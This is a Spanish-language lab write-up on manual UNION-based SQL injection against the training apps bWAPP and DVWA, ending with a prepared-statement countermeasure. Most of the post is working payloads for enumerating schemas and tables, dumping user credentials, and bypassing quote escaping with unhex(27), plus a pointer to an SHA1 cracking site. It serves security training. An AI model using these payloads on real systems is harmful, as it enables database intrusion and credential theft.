← Volver al inicio
SQL Injection bWAPP DVWA UNION Pentesting

SQL Injection Manual: bWAPP y DVWA

15/01/2022

Práctica de explotación manual de SQL Injection mediante sentencias UNION en bWAPP y DVWA, incluyendo bypass de contramedidas con unhex().

1. bWAPP — SQL Injection (Search/GET)

Accedemos a bWAPP con la IP de la máquina, usuario/contraseña por defecto, y seleccionamos SQL Injection (Search/GET).

Detectar número de columnas

' union select 1,2,3,4,5,6,7#

Obtener nombre del esquema actual

' union select 1,2,3,database(),5,6,7#

Listar tablas del esquema

' union select 1,2,3,4,group_concat(table_name),6,7
FROM information_schema.tables
WHERE table_schema=database()#

Listar columnas de la tabla users

' union select 1,2,group_concat(column_name),4,5,6,7
FROM information_schema.columns
WHERE table_name='users' AND table_schema=database()#

Extraer credenciales (login, password, email, secret)

' union select 1,login,password,email,secret,6,7 FROM users#

Las contraseñas están en SHA1. Se pueden descifrar en: md5decrypt.net/en/Sha1/

Listar todos los esquemas de la base de datos

' union select 1,2,table_schema,4,5,6,7 FROM information_schema.tables#

2. DVWA — Bypass con unhex()

En el nivel de seguridad medio, DVWA aplica mysql_real_escape_string() que escapa la comilla simple. El bypass consiste en usar unhex(27) (27 = código hex de la comilla simple) para evitar su filtrado:

Detectar número de columnas

unhex(27) or 1=1 order by 2#

Listar tablas del esquema actual

unhex(27) union select 1, table_name
FROM information_schema.tables
WHERE table_schema=database()#

Extraer usuarios y contraseñas

unhex(27) union select user,password FROM dvwa.users#

Contramedidas

<?php
// Ejemplo con PDO (prepared statement):
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);
$user = $stmt->fetch();
?>